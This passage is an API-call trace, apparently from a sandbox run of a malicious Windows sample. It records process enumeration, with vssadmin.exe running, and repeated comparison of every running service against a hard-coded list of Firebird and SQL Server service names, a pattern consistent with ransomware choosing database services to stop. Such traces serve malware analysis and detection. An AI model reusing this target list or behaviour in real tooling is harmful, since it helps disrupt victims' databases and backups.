1 [0070.911] lstrlenW (lpString="cmd.exe") returned 7 [0070.911] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0070.911] lstrlenW (lpString="conhost.exe") returned 11 [0070.911] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0070.912] lstrlenW (lpString="vssadmin.exe") returned 12 [0070.912] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0070.913] lstrlenW (lpString="VSSVC.exe") returned 9 [0070.913] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.914] lstrlenW (lpString="svchost.exe") returned 11 [0070.914] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0070.915] lstrlenW (lpString="LogonUI.exe") returned 11 [0070.915] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0070.915] CloseHandle (hObject=0x19c) returned 1 [0070.915] Sleep (dwMilliseconds=0x1f4) [0071.605] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0318 [0071.605] EnumServicesStatusExW (in: hSCManager=0x35f0318, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0071.606] GetLastError () returned 0xea [0071.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x142e) returned 0x3fc5890 [0071.606] EnumServicesStatusExW (in: hSCManager=0x35f0318, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fc5890, cbBufSize=0x142e, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fc5890, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0071.607] CloseServiceHandle (hSCObject=0x35f0318) returned 1 [0071.607] lstrlenW (lpString="Appinfo") returned 7 [0071.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0071.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0071.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0071.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0071.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0071.607] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0071.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0071.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0071.608] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0071.608] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0071.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0071.608] lstrlenW (lpString="AudioSrv") returned 8 [0071.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0071.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0071.608] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0071.608] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0071.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0071.608] lstrlenW (lpString="BFE") returned 3 [0071.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0071.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0071.608] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0071.608] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0071.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0071.608] lstrlenW (lpString="CryptSvc") returned 8 [0071.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0071.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0071.608] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0071.609] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0071.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0071.609] lstrlenW (lpString="CscService") returned 10 [0071.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0071.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0071.609] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0071.609] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0071.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0071.609] lstrlenW (lpString="DcomLaunch") returned 10 [0071.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0071.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0071.609] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0071.609] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0071.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0071.609] lstrlenW (lpString="Dhcp") returned 4 [0071.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0071.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0071.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0071.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0071.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0071.609] lstrlenW (lpString="Dnscache") returned 8 [0071.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0071.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0071.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0071.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0071.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0071.610] lstrlenW (lpString="DPS") returned 3 [0071.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0071.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0071.610] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0071.610] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0071.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0071.610] lstrlenW (lpString="eventlog") returned 8 [0071.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0071.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0071.610] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0071.610] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0071.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0071.610] lstrlenW (lpString="EventSystem") returned 11 [0071.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0071.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0071.610] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0071.610] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0071.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0071.610] lstrlenW (lpString="FontCache") returned 9 [0071.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0071.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0071.610] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0071.610] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0071.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0071.610] lstrlenW (lpString="gpsvc") returned 5 [0071.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0071.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0071.611] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0071.611] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0071.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0071.611] lstrlenW (lpString="iphlpsvc") returned 8 [0071.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0071.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0071.611] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0071.611] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0071.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0071.611] lstrlenW (lpString="LanmanServer") returned 12 [0071.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0071.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0071.611] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0071.611] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0071.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0071.611] lstrlenW (lpString="LanmanWorkstation") returned 17 [0071.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0071.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0071.611] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0071.611] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0071.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0071.611] lstrlenW (lpString="lmhosts") returned 7 [0071.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0071.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0071.612] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0071.612] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0071.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0071.612] lstrlenW (lpString="MMCSS") returned 5 [0071.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0071.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0071.612] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0071.612] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0071.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0071.612] lstrlenW (lpString="MpsSvc") returned 6 [0071.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0071.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0071.612] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0071.612] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0071.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0071.612] lstrlenW (lpString="Netman") returned 6 [0071.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0071.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0071.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0071.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0071.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0071.612] lstrlenW (lpString="netprofm") returned 8 [0071.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0071.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0071.612] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0071.612] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0071.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0071.613] lstrlenW (lpString="NlaSvc") returned 6 [0071.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0071.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0071.613] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0071.613] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0071.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0071.613] lstrlenW (lpString="nsi") returned 3 [0071.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0071.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0071.613] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0071.613] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0071.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0071.613] lstrlenW (lpString="PcaSvc") returned 6 [0071.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0071.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0071.613] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0071.613] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0071.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0071.613] lstrlenW (lpString="PlugPlay") returned 8 [0071.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0071.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0071.613] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0071.613] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0071.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0071.613] lstrlenW (lpString="Power") returned 5 [0071.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0071.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0071.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0071.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0071.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0071.614] lstrlenW (lpString="ProfSvc") returned 7 [0071.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0071.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0071.614] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0071.614] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0071.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0071.614] lstrlenW (lpString="RpcEptMapper") returned 12 [0071.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0071.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0071.614] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0071.614] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0071.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0071.614] lstrlenW (lpString="RpcSs") returned 5 [0071.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0071.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0071.614] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0071.614] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0071.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0071.614] lstrlenW (lpString="SamSs") returned 5 [0071.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0071.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0071.614] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0071.614] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0071.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0071.615] lstrlenW (lpString="Schedule") returned 8 [0071.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0071.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0071.615] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0071.615] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0071.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0071.615] lstrlenW (lpString="SENS") returned 4 [0071.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0071.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0071.615] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0071.615] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0071.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0071.615] lstrlenW (lpString="ShellHWDetection") returned 16 [0071.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0071.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0071.615] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0071.615] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0071.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0071.615] lstrlenW (lpString="Spooler") returned 7 [0071.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0071.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0071.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0071.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0071.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0071.616] lstrlenW (lpString="sppsvc") returned 6 [0071.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0071.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0071.616] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0071.616] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0071.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0071.616] lstrlenW (lpString="swprv") returned 5 [0071.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0071.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0071.616] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0071.616] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0071.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0071.616] lstrlenW (lpString="SysMain") returned 7 [0071.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0071.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0071.616] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0071.616] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0071.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0071.617] lstrlenW (lpString="Themes") returned 6 [0071.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0071.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0071.617] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0071.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0071.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0071.617] lstrlenW (lpString="TrkWks") returned 6 [0071.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0071.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0071.617] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0071.617] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0071.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0071.617] lstrlenW (lpString="UxSms") returned 5 [0071.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0071.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0071.617] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0071.617] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0071.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0071.617] lstrlenW (lpString="VSS") returned 3 [0071.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0071.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0071.618] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0071.618] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0071.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0071.618] lstrlenW (lpString="WdiServiceHost") returned 14 [0071.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0071.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0071.618] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0071.618] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0071.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0071.618] lstrlenW (lpString="WdiSystemHost") returned 13 [0071.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0071.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0071.619] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0071.619] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0071.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0071.619] lstrlenW (lpString="WinDefend") returned 9 [0071.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0071.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0071.619] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0071.619] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0071.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0071.619] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0071.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0071.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0071.619] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0071.619] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0071.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0071.619] lstrlenW (lpString="Winmgmt") returned 7 [0071.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0071.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0071.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0071.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0071.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0071.620] lstrlenW (lpString="wscsvc") returned 6 [0071.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0071.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0071.620] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0071.620] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0071.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0071.620] lstrlenW (lpString="wuauserv") returned 8 [0071.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0071.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0071.620] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0071.620] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0071.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0071.620] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fc5890 | out: 